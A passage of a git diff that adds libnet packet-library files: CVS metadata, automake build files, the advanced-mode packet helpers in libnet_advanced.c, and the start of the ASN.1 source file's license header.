+ case LIBNET_PBLOCK_GRE_SRE_H:
+ return ("gre sre header");
+ case LIBNET_PBLOCK_IPV6_FRAG_H:
+ return ("ipv6 fragmentation header");
+ case LIBNET_PBLOCK_IPV6_ROUTING_H:
+ return ("ipv6 routing header");
+ case LIBNET_PBLOCK_IPV6_DESTOPTS_H:
+ return ("ipv6 destination options header");
+ case LIBNET_PBLOCK_IPV6_HBHOPTS_H:
+ return ("ipv6 hop by hop options header");
+ default:
+ snprintf(buf, sizeof(buf),
+ "%s(): unknown pblock type: %d", __func__, type);
+ return (buf);
+ }
+ return ("unreachable code");
+}
+/* EOF */
diff --git a/libnet/src/CVS/Entries b/libnet/src/CVS/Entries
new file mode 100644
index 0000000..7d3615f
--- /dev/null
+++ b/libnet/src/CVS/Entries
@@ -0,0 +1,60 @@
+/libnet_asn1.c/1.5/Sat Jan 3 20:31:01 2004//
+/libnet_build_bgp.c/1.7/Thu Oct 30 23:26:32 2003//
+/libnet_build_data.c/1.6/Sat Jan 3 20:31:01 2004//
+/libnet_build_dns.c/1.9/Sat Jan 3 20:31:01 2004//
+/libnet_build_ethernet.c/1.8/Sat Jan 3 20:31:01 2004//
+/libnet_build_isl.c/1.9/Sat Jan 3 20:31:01 2004//
+/libnet_build_rip.c/1.8/Sat Jan 3 20:31:01 2004//
+/libnet_build_snmp.c/1.4/Sat Jan 3 20:31:01 2004//
+/libnet_crc.c/1.5/Sat Jan 3 20:31:02 2004//
+/libnet_error.c/1.6/Sat Jan 3 20:31:02 2004//
+/libnet_link_linux.c/1.5/Sat Jan 3 20:31:02 2004//
+/libnet_link_nit.c/1.6/Sat Jan 3 20:31:02 2004//
+/libnet_link_none.c/1.5/Sat Jan 3 20:31:02 2004//
+/libnet_link_pf.c/1.3/Sat Jan 3 20:31:02 2004//
+/libnet_link_snit.c/1.6/Sat Jan 3 20:31:02 2004//
+/libnet_link_snoop.c/1.5/Sat Jan 3 20:31:02 2004//
+/libnet_version.c/1.6/Sat Jan 3 20:31:02 2004//
+/libnet_build_cdp.c/1.9/Wed Jan 21 19:01:29 2004//
+/libnet_build_igmp.c/1.11/Wed Jan 21 19:01:29 2004//
+/libnet_build_ipsec.c/1.11/Wed Jan 21 19:01:29 2004//
+/libnet_build_rpc.c/1.9/Wed Jan 21 00:50:29 2004//
+/libnet_build_udp.c/1.10/Wed Jan 21 19:01:29 2004//
+/libnet_build_vrrp.c/1.9/Wed Jan 21 19:01:29 2004//
+/libnet_build_stp.c/1.8/Thu Jan 15 21:04:03 2004//
+/libnet_build_802.1q.c/1.10/Wed Jan 28 19:45:00 2004//
+/libnet_build_802.1x.c/1.11/Wed Jan 28 19:45:00 2004//
+/libnet_build_802.2.c/1.10/Wed Jan 28 19:45:00 2004//
+/libnet_build_802.3.c/1.9/Wed Jan 28 19:45:00 2004//
+/libnet_cq.c/1.11/Wed Jan 28 19:45:00 2004//
+/libnet_dll.c/1.5/Wed Jan 28 17:35:09 2004//
+/libnet_link_bpf.c/1.6/Wed Jan 28 19:45:00 2004//
+/libnet_link_dlpi.c/1.8/Wed Jan 28 19:45:00 2004//
+/libnet_port_list.c/1.10/Wed Jan 28 19:45:00 2004//
+/libnet_prand.c/1.7/Wed Jan 28 19:45:00 2004//
+/libnet_advanced.c/1.7/Mon Feb 16 23:13:38 2004//
+/libnet_link_win32.c/1.16/Wed Feb 18 18:19:00 2004//
+/libnet_raw.c/1.9/Wed Feb 18 18:19:00 2004//
+/libnet_build_tcp.c/1.11/Fri Jan 30 20:19:50 2004//
+/libnet_write.c/1.13/Fri Feb 20 18:53:50 2004//
+/libnet_build_arp.c/1.12/Mon Mar 1 20:26:12 2004//
+/libnet_build_dhcp.c/1.10/Mon Mar 1 20:26:12 2004//
+/libnet_build_fddi.c/1.10/Sun Feb 22 19:56:53 2004//
+/libnet_build_gre.c/1.8/Sun Feb 22 19:45:06 2004//
+/libnet_build_mpls.c/1.9/Mon Mar 1 20:26:12 2004//
+/libnet_build_ntp.c/1.9/Mon Mar 1 20:26:12 2004//
+/libnet_build_ospf.c/1.10/Mon Mar 1 20:26:12 2004//
+/libnet_build_token_ring.c/1.9/Sat Feb 21 19:03:26 2004//
+/libnet_checksum.c/1.13/Mon Mar 1 20:26:12 2004//
+/libnet_build_link.c/1.9/Thu Mar 4 21:34:43 2004//
+/libnet_if_addr.c/1.22/Thu Mar 4 21:34:43 2004//
+/libnet_resolve.c/1.20/Thu Mar 4 21:34:43 2004//
+/Makefile.am/1.5/Thu Mar 11 18:50:20 2004//
+/Makefile.in/1.13/Thu Mar 11 18:50:20 2004//
+/libnet_build_sebek.c/1.1/Wed Mar 10 21:06:04 2004//
+/libnet_build_ip.c/1.18/Tue Mar 16 18:40:59 2004//
+/libnet_init.c/1.17/Tue Mar 16 18:40:59 2004//
+/libnet_internal.c/1.14/Tue Mar 16 18:40:59 2004//
+/libnet_pblock.c/1.13/Tue Mar 16 18:40:59 2004//
+/libnet_build_icmp.c/1.16/Mon Mar 29 17:24:34 2004//
+D
diff --git a/libnet/src/CVS/Repository b/libnet/src/CVS/Repository
new file mode 100644
index 0000000..46f61ac
--- /dev/null
+++ b/libnet/src/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/src
diff --git a/libnet/src/CVS/Root b/libnet/src/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/src/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/src/Makefile.am b/libnet/src/Makefile.am
new file mode 100644
index 0000000..b8945fb
--- /dev/null
+++ b/libnet/src/Makefile.am
@@ -0,0 +1,71 @@
+# $Id: Makefile.am,v 1.5 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+# Process this file with automake to produce a Makefile.in script.
+
+include $(top_srcdir)/Makefile.am.common
+
+lib_LIBRARIES = libnet.a
+
+libnet_a_SOURCES = libnet_asn1.c \
+ libnet_build_802.1q.c \
+ libnet_build_802.1x.c \
+ libnet_build_802.2.c \
+ libnet_build_802.3.c \
+ libnet_build_arp.c \
+ libnet_build_bgp.c \
+ libnet_build_cdp.c \
+ libnet_build_data.c \
+ libnet_build_dhcp.c \
+ libnet_build_dns.c \
+ libnet_build_ethernet.c \
+ libnet_build_fddi.c \
+ libnet_build_gre.c \
+ libnet_build_icmp.c \
+ libnet_build_igmp.c \
+ libnet_build_ip.c \
+ libnet_build_ipsec.c \
+ libnet_build_isl.c \
+ libnet_build_mpls.c \
+ libnet_build_ntp.c \
+ libnet_build_ospf.c \
+ libnet_build_rip.c \
+ libnet_build_rpc.c \
+ libnet_build_sebek.c \
+ libnet_build_snmp.c \
+ libnet_build_stp.c \
+ libnet_build_tcp.c \
+ libnet_build_token_ring.c \
+ libnet_build_udp.c \
+ libnet_build_vrrp.c \
+ libnet_advanced.c \
+ libnet_checksum.c \
+ libnet_cq.c \
+ libnet_crc.c \
+ libnet_error.c \
+ libnet_if_addr.c \
+ libnet_init.c \
+ libnet_internal.c \
+ libnet_pblock.c \
+ libnet_port_list.c \
+ libnet_prand.c \
+ libnet_raw.c \
+ libnet_resolve.c \
+ libnet_version.c \
+ libnet_write.c
+
+EXTRA_libnet_a_SOURCES = libnet_link_bpf.c \
+ libnet_link_dlpi.c \
+ libnet_link_linux.c \
+ libnet_link_nit.c \
+ libnet_link_none.c \
+ libnet_link_pf.c \
+ libnet_link_snit.c \
+ libnet_link_snoop.c \
+ libnet_link_win32.c
+
+libnet_a_LIBADD = @LIBOBJS@
+
diff --git a/libnet/src/Makefile.in b/libnet/src/Makefile.in
new file mode 100644
index 0000000..685d121
--- /dev/null
+++ b/libnet/src/Makefile.in
@@ -0,0 +1,428 @@
+# Makefile.in generated by automake 1.6.3 from Makefile.am.
+# @configure_input@
+
+# Copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002
+# Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# $Id: Makefile.in,v 1.13 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+# Process this file with automake to produce a Makefile.in script.
+
+# $Id: Makefile.in,v 1.13 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+SHELL = @SHELL@
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+prefix = @prefix@
+exec_prefix = @exec_prefix@
+
+bindir = @bindir@
+sbindir = @sbindir@
+libexecdir = @libexecdir@
+datadir = @datadir@
+sysconfdir = @sysconfdir@
+sharedstatedir = @sharedstatedir@
+localstatedir = @localstatedir@
+libdir = @libdir@
+infodir = @infodir@
+mandir = @mandir@
+includedir = @includedir@
+oldincludedir = /usr/include
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ..
+
+ACLOCAL = @ACLOCAL@
+AUTOCONF = @AUTOCONF@
+AUTOMAKE = @AUTOMAKE@
+AUTOHEADER = @AUTOHEADER@
+
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_DATA = @INSTALL_DATA@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = @program_transform_name@
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_alias = @build_alias@
+build_triplet = @build@
+host_alias = @host_alias@
+host_triplet = @host@
+target_alias = @target_alias@
+target_triplet = @target@
+
+EXEEXT = @EXEEXT@
+OBJEXT = @OBJEXT@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+ADDITIONAL_LIBS = @ADDITIONAL_LIBS@
+AMTAR = @AMTAR@
+AWK = @AWK@
+CC = @CC@
+DEPDIR = @DEPDIR@
+ENDIANESS = @ENDIANESS@
+HAVE_PACKET_SOCKET = @HAVE_PACKET_SOCKET@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LIBNET_CONFIG_CFLAGS = @LIBNET_CONFIG_CFLAGS@
+LIBNET_CONFIG_DEFINES = @LIBNET_CONFIG_DEFINES@
+LIBNET_CONFIG_LIBS = @LIBNET_CONFIG_LIBS@
+LIBNET_VERSION = @LIBNET_VERSION@
+MAINT = @MAINT@
+PACKAGE = @PACKAGE@
+RANLIB = @RANLIB@
+STRIP = @STRIP@
+VERSION = @VERSION@
+am__include = @am__include@
+am__quote = @am__quote@
+install_sh = @install_sh@
+
+AUTOMAKE_OPTIONS = foreign no-dependencies
+
+DISTCLEANFILES = *~
+
+lib_LIBRARIES = libnet.a
+
+libnet_a_SOURCES = libnet_asn1.c \
+ libnet_build_802.1q.c \
+ libnet_build_802.1x.c \
+ libnet_build_802.2.c \
+ libnet_build_802.3.c \
+ libnet_build_arp.c \
+ libnet_build_bgp.c \
+ libnet_build_cdp.c \
+ libnet_build_data.c \
+ libnet_build_dhcp.c \
+ libnet_build_dns.c \
+ libnet_build_ethernet.c \
+ libnet_build_fddi.c \
+ libnet_build_gre.c \
+ libnet_build_icmp.c \
+ libnet_build_igmp.c \
+ libnet_build_ip.c \
+ libnet_build_ipsec.c \
+ libnet_build_isl.c \
+ libnet_build_mpls.c \
+ libnet_build_ntp.c \
+ libnet_build_ospf.c \
+ libnet_build_rip.c \
+ libnet_build_rpc.c \
+ libnet_build_sebek.c \
+ libnet_build_snmp.c \
+ libnet_build_stp.c \
+ libnet_build_tcp.c \
+ libnet_build_token_ring.c \
+ libnet_build_udp.c \
+ libnet_build_vrrp.c \
+ libnet_advanced.c \
+ libnet_checksum.c \
+ libnet_cq.c \
+ libnet_crc.c \
+ libnet_error.c \
+ libnet_if_addr.c \
+ libnet_init.c \
+ libnet_internal.c \
+ libnet_pblock.c \
+ libnet_port_list.c \
+ libnet_prand.c \
+ libnet_raw.c \
+ libnet_resolve.c \
+ libnet_version.c \
+ libnet_write.c
+
+
+EXTRA_libnet_a_SOURCES = libnet_link_bpf.c \
+ libnet_link_dlpi.c \
+ libnet_link_linux.c \
+ libnet_link_nit.c \
+ libnet_link_none.c \
+ libnet_link_pf.c \
+ libnet_link_snit.c \
+ libnet_link_snoop.c \
+ libnet_link_win32.c
+
+
+libnet_a_LIBADD = @LIBOBJS@
+subdir = src
+mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/include/config.h
+CONFIG_CLEAN_FILES =
+LIBRARIES = $(lib_LIBRARIES)
+
+libnet_a_AR = $(AR) cru
+libnet_a_DEPENDENCIES = @LIBOBJS@
+am_libnet_a_OBJECTS = libnet_asn1.$(OBJEXT) \
+ libnet_build_802.1q.$(OBJEXT) libnet_build_802.1x.$(OBJEXT) \
+ libnet_build_802.2.$(OBJEXT) libnet_build_802.3.$(OBJEXT) \
+ libnet_build_arp.$(OBJEXT) libnet_build_bgp.$(OBJEXT) \
+ libnet_build_cdp.$(OBJEXT) libnet_build_data.$(OBJEXT) \
+ libnet_build_dhcp.$(OBJEXT) libnet_build_dns.$(OBJEXT) \
+ libnet_build_ethernet.$(OBJEXT) libnet_build_fddi.$(OBJEXT) \
+ libnet_build_gre.$(OBJEXT) libnet_build_icmp.$(OBJEXT) \
+ libnet_build_igmp.$(OBJEXT) libnet_build_ip.$(OBJEXT) \
+ libnet_build_ipsec.$(OBJEXT) libnet_build_isl.$(OBJEXT) \
+ libnet_build_mpls.$(OBJEXT) libnet_build_ntp.$(OBJEXT) \
+ libnet_build_ospf.$(OBJEXT) libnet_build_rip.$(OBJEXT) \
+ libnet_build_rpc.$(OBJEXT) libnet_build_sebek.$(OBJEXT) \
+ libnet_build_snmp.$(OBJEXT) libnet_build_stp.$(OBJEXT) \
+ libnet_build_tcp.$(OBJEXT) libnet_build_token_ring.$(OBJEXT) \
+ libnet_build_udp.$(OBJEXT) libnet_build_vrrp.$(OBJEXT) \
+ libnet_advanced.$(OBJEXT) libnet_checksum.$(OBJEXT) \
+ libnet_cq.$(OBJEXT) libnet_crc.$(OBJEXT) libnet_error.$(OBJEXT) \
+ libnet_if_addr.$(OBJEXT) libnet_init.$(OBJEXT) \
+ libnet_internal.$(OBJEXT) libnet_pblock.$(OBJEXT) \
+ libnet_port_list.$(OBJEXT) libnet_prand.$(OBJEXT) \
+ libnet_raw.$(OBJEXT) libnet_resolve.$(OBJEXT) \
+ libnet_version.$(OBJEXT) libnet_write.$(OBJEXT)
+libnet_a_OBJECTS = $(am_libnet_a_OBJECTS)
+
+DEFS = @DEFS@
+DEFAULT_INCLUDES = -I. -I$(srcdir) -I$(top_builddir)/include
+CPPFLAGS = @CPPFLAGS@
+LDFLAGS = @LDFLAGS@
+LIBS = @LIBS@
+depcomp =
+am__depfiles_maybe =
+COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
+ $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
+CCLD = $(CC)
+LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@
+CFLAGS = @CFLAGS@
+DIST_SOURCES = $(libnet_a_SOURCES) $(EXTRA_libnet_a_SOURCES)
+DIST_COMMON = Makefile.am Makefile.in libnet_link_bpf.c \
+ libnet_link_dlpi.c libnet_link_linux.c libnet_link_nit.c \
+ libnet_link_none.c libnet_link_pf.c libnet_link_snit.c \
+ libnet_link_snoop.c libnet_link_win32.c
+SOURCES = $(libnet_a_SOURCES) $(EXTRA_libnet_a_SOURCES)
+
+all: all-am
+
+.SUFFIXES:
+.SUFFIXES: .c .o .obj
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ Makefile.am $(top_srcdir)/Makefile.am.common $(top_srcdir)/configure.in $(ACLOCAL_M4)
+ cd $(top_srcdir) && \
+ $(AUTOMAKE) --foreign src/Makefile
+Makefile: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.in $(top_builddir)/config.status
+ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)
+
+AR = ar
+libLIBRARIES_INSTALL = $(INSTALL_DATA)
+install-libLIBRARIES: $(lib_LIBRARIES)
+ @$(NORMAL_INSTALL)
+ $(mkinstalldirs) $(DESTDIR)$(libdir)
+ @list='$(lib_LIBRARIES)'; for p in $$list; do \
+ if test -f $$p; then \
+ f="`echo $$p | sed -e 's|^.*/||'`"; \
+ echo " $(libLIBRARIES_INSTALL) $$p $(DESTDIR)$(libdir)/$$f"; \
+ $(libLIBRARIES_INSTALL) $$p $(DESTDIR)$(libdir)/$$f; \
+ else :; fi; \
+ done
+ @$(POST_INSTALL)
+ @list='$(lib_LIBRARIES)'; for p in $$list; do \
+ if test -f $$p; then \
+ p="`echo $$p | sed -e 's|^.*/||'`"; \
+ echo " $(RANLIB) $(DESTDIR)$(libdir)/$$p"; \
+ $(RANLIB) $(DESTDIR)$(libdir)/$$p; \
+ else :; fi; \
+ done
+
+uninstall-libLIBRARIES:
+ @$(NORMAL_UNINSTALL)
+ @list='$(lib_LIBRARIES)'; for p in $$list; do \
+ p="`echo $$p | sed -e 's|^.*/||'`"; \
+ echo " rm -f $(DESTDIR)$(libdir)/$$p"; \
+ rm -f $(DESTDIR)$(libdir)/$$p; \
+ done
+
+clean-libLIBRARIES:
+ -test -z "$(lib_LIBRARIES)" || rm -f $(lib_LIBRARIES)
+libnet.a: $(libnet_a_OBJECTS) $(libnet_a_DEPENDENCIES)
+ -rm -f libnet.a
+ $(libnet_a_AR) libnet.a $(libnet_a_OBJECTS) $(libnet_a_LIBADD)
+ $(RANLIB) libnet.a
+
+mostlyclean-compile:
+ -rm -f *.$(OBJEXT) core *.core
+
+distclean-compile:
+ -rm -f *.tab.c
+
+.c.o:
+ $(COMPILE) -c `test -f '$<' || echo '$(srcdir)/'`$<
+
+.c.obj:
+ $(COMPILE) -c `cygpath -w $<`
+uninstall-info-am:
+
+ETAGS = etags
+ETAGSFLAGS =
+
+tags: TAGS
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | \
+ $(AWK) ' { files[$$0] = 1; } \
+ END { for (i in files) print i; }'`; \
+ mkid -fID $$unique
+
+TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \
+ $(TAGS_FILES) $(LISP)
+ tags=; \
+ here=`pwd`; \
+ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | \
+ $(AWK) ' { files[$$0] = 1; } \
+ END { for (i in files) print i; }'`; \
+ test -z "$(ETAGS_ARGS)$$tags$$unique" \
+ || $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+ $$tags $$unique
+
+GTAGS:
+ here=`$(am__cd) $(top_builddir) && pwd` \
+ && cd $(top_srcdir) \
+ && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+ -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+
+top_distdir = ..
+distdir = $(top_distdir)/$(PACKAGE)-$(VERSION)
+
+distdir: $(DISTFILES)
+ @list='$(DISTFILES)'; for file in $$list; do \
+ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+ dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+ if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+ dir="/$$dir"; \
+ $(mkinstalldirs) "$(distdir)$$dir"; \
+ else \
+ dir=''; \
+ fi; \
+ if test -d $$d/$$file; then \
+ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+ cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+ fi; \
+ cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+ else \
+ test -f $(distdir)/$$file \
+ || cp -p $$d/$$file $(distdir)/$$file \
+ || exit 1; \
+ fi; \
+ done
+check-am: all-am
+check: check-am
+all-am: Makefile $(LIBRARIES)
+
+installdirs:
+ $(mkinstalldirs) $(DESTDIR)$(libdir)
+
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+ @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+ INSTALL_STRIP_FLAG=-s \
+ `test -z '$(STRIP)' || \
+ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+ -rm -f Makefile $(CONFIG_CLEAN_FILES)
+ -test -z "$(DISTCLEANFILES)" || rm -f $(DISTCLEANFILES)
+
+maintainer-clean-generic:
+ @echo "This command is intended for maintainers to use"
+ @echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libLIBRARIES mostlyclean-am
+
+distclean: distclean-am
+
+distclean-am: clean-am distclean-compile distclean-generic \
+ distclean-tags
+
+dvi: dvi-am
+
+dvi-am:
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am: install-libLIBRARIES
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-compile mostlyclean-generic
+
+uninstall-am: uninstall-info-am uninstall-libLIBRARIES
+
+.PHONY: GTAGS all all-am check check-am clean clean-generic \
+ clean-libLIBRARIES distclean distclean-compile \
+ distclean-generic distclean-tags distdir dvi dvi-am info \
+ info-am install install-am install-data install-data-am \
+ install-exec install-exec-am install-info install-info-am \
+ install-libLIBRARIES install-man install-strip installcheck \
+ installcheck-am installdirs maintainer-clean \
+ maintainer-clean-generic mostlyclean mostlyclean-compile \
+ mostlyclean-generic tags uninstall uninstall-am \
+ uninstall-info-am uninstall-libLIBRARIES
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:
diff --git a/libnet/src/libnet_advanced.c b/libnet/src/libnet_advanced.c
new file mode 100644
index 0000000..8e8f2ca
--- /dev/null
+++ b/libnet/src/libnet_advanced.c
@@ -0,0 +1,136 @@
+/*
+ * $Id: libnet_advanced.c,v 1.7 2004/02/16 23:13:38 mike Exp $
+ *
+ * libnet
+ * libnet_advanced.c - Advanced routines
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+int
+libnet_adv_cull_packet(libnet_t *l, u_int8_t **packet, u_int32_t *packet_s)
+{
+ *packet = NULL;
+ *packet_s = 0;
+
+ if (l->injection_type != LIBNET_LINK_ADV)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): advanced link mode not enabled\n", __func__);
+ return (-1);
+ }
+
+ /* checksums will be written in */
+ return (libnet_pblock_coalesce(l, packet, packet_s));
+}
+
+int
+libnet_adv_cull_header(libnet_t *l, libnet_ptag_t ptag, u_int8_t **header,
+ u_int32_t *header_s)
+{
+ libnet_pblock_t *p;
+
+ *header = NULL;
+ *header_s = 0;
+
+ if (l->injection_type != LIBNET_LINK_ADV)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): advanced link mode not enabled\n", __func__);
+ return (-1);
+ }
+
+ p = libnet_pblock_find(l, ptag);
+ if (p == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): ptag not found, you sure it exists?\n", __func__);
+ return (-1);
+ }
+ *header = p->buf;
+ *header_s = p->b_len;
+
+ return (1);
+}
+
+int
+libnet_adv_write_link(libnet_t *l, u_int8_t *packet, u_int32_t packet_s)
+{
+ int c;
+
+ if (l->injection_type != LIBNET_LINK_ADV)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): advanced link mode not enabled\n", __func__);
+ return (-1);
+ }
+ c = libnet_write_link(l, packet, packet_s);
+
+ /* do statistics */
+ if (c == packet_s)
+ {
+ l->stats.packets_sent++;
+ l->stats.bytes_written += c;
+ }
+ else
+ {
+ l->stats.packet_errors++;
+ /*
+ * XXX - we probably should have a way to retrieve the number of
+ * bytes actually written (since we might have written something).
+ */
+ if (c > 0)
+ {
+ l->stats.bytes_written += c;
+ }
+ }
+ return (c);
+}
+
+void
+libnet_adv_free_packet(libnet_t *l, u_int8_t *packet)
+{
+ /*
+ * Restore original pointer address so free won't complain about a
+ * modified chunk pointer.
+ */
+ if (l->aligner > 0)
+ {
+ packet = packet - l->aligner;
+ }
+ free(packet);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_asn1.c b/libnet/src/libnet_asn1.c
new file mode 100644
index 0000000..07341b8
--- /dev/null
+++ b/libnet/src/libnet_asn1.c
@@ -0,0 +1,436 @@
+/*
+ * $Id: libnet_asn1.c,v 1.5 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * libnet_asn1.c - Abstract Syntax Notation One routines
+ *
+ * Abstract Syntax Notation One, ASN.1
+ * As defined in ISO/IS 8824 and ISO/IS 8825
+ * This implements a subset of the above International Standards that
+ * is sufficient to implement SNMP.
+ *
+ * Encodes abstract data types into a machine independent stream of bytes.
+ *
+ * Copyright 1988, 1989, 1991, 1992 by Carnegie Mellon University
+ * All rights reserved.
+ *
+ * Permission to use, copy, modify, and distribute this software and its
+ * documentation for any purpose and without fee is hereby granted,
+ * provided that the above copyright notice appear in all copies and that
+ * both that copyright notice and this permission notice appear in
+ * supporting documentation, and that the name of CMU not be
+ * used in advertising or publicity pertaining to distribution of the
+ * software without specific, written prior permission.
+ *
+ * CMU DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
+ * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
+ * CMU BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
+ * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
+ * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
+ * SOFTWARE.
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1993, 1994, 1995, 1996, 1998
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
